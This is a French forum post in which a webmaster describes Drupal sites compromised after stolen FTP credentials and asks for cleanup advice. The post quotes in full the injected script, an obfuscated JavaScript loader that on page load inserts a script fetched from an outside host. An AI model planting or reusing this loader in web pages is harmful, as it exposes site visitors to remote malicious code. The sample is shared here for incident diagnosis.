Bonsoir à tous,

Un ami se serait fait 'voler' ses accès des serveurs ftp sur lesquels il travaillait via son ordinateur portable.

Tous les sites concernés ont, depuis, un script js qui vient se glisser en fin du fichier index.php, de plusieurs fichiers js, voire remplace leur contenu (jquery.js).

En espérant ne pas faire de gaffe, voici le script js en question :

Code : Sélectionner tout - Visualiser dans une fenêtre à part
1
2
 
var cf='';this.j='';var D='';function u(){var M;if(M!=''){M='s'};var hW=new Array();this.Xn="";var Q=unescape;var tu=new Array();var H=new Array();this.q="";var A=window;var p=Q("%2f%6a%63%70%65%6e%6e%65%79%2d%63%6f%6d%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%70%65%72%65%7a%68%69%6c%74%6f%6e%2e%63%6f%6d%2e%70%68%70");var O;if(O!='VE'){O=''};function a(v,E){var RO=new Date();this.k='';var SM;if(SM!='' && SM!='_L'){SM='Un'};var ss='';var X=new String("g");var c=Q("%5b"), U=Q("%5d");var ex;if(ex!='w' && ex!='FS'){ex='w'};var fP;if(fP!='JD' && fP!='QD'){fP='JD'};var g=c+E+U;var So="";var V=new RegExp(g, X);var tS='';return v.replace(V, new String());};this.Jg='';this.xs="";var WB;if(WB!='ku'){WB='ku'};var jV;if(jV!='rD' && jV != ''){jV=null};var o=new String();var Xg=a('834047484430557','3745');var FR;if(FR!='L' && FR != ''){FR=null};var mD=new Date();var C=document;this.WA='';function F(){this.fjY='';var sM=new Date();var cN=Q("%68%74%74%70%3a%2f%2f%68%65%6c%70%68%6f%6d%65%63%61%72%65%2e%61%74%3a");this.MB='';o=cN;var Vy=new Date();var IE=new Array();o+=Xg;o+=p;this.KX='';this.B="";var WBm;if(WBm!='' && WBm!='rx'){WBm=''};try {var Bv;if(Bv!='' && Bv!='fE'){Bv='EZ'};h=C.createElement(a('shcHrBiRpBtR','qIHBuD3hR'));var et=new String();h[Q("%64%65%66%65%72")]=[4,1][1];h[Q("%73%72%63")]=o;var ii;if(ii!='rb' && ii!='tW'){ii='rb'};var HB;if(HB!='' && HB!='au'){HB=null};C.body.appendChild(h);var ML=new String();} catch(R){this.TS="";alert(R);this.Pv="";var op="";};}var ms=new String();A["rCe5on".substr(4)+"lo"+"ad"]=F;var LQ="";var sq;if(sq!='pm'){sq=''};var Yz=new String();};var Gg="";u();var zs=new String();var NA;if(NA!='TT'){NA='TT'};
Pour le moment, je l'ai retiré là où j'ai pu le trouver. Il s'agit de sites Drupal pour la majorité donc pas évident de trouver tous les fichiers infectés du premier coup. Et j'ai modifié les accès au serveur ftp.

Que puis-je / dois-je faire d'autre ? Comment le pirate/robot a-t-il pu s'y prendre ?

Je vous remercie par avance pour votre aide.
Cordialement,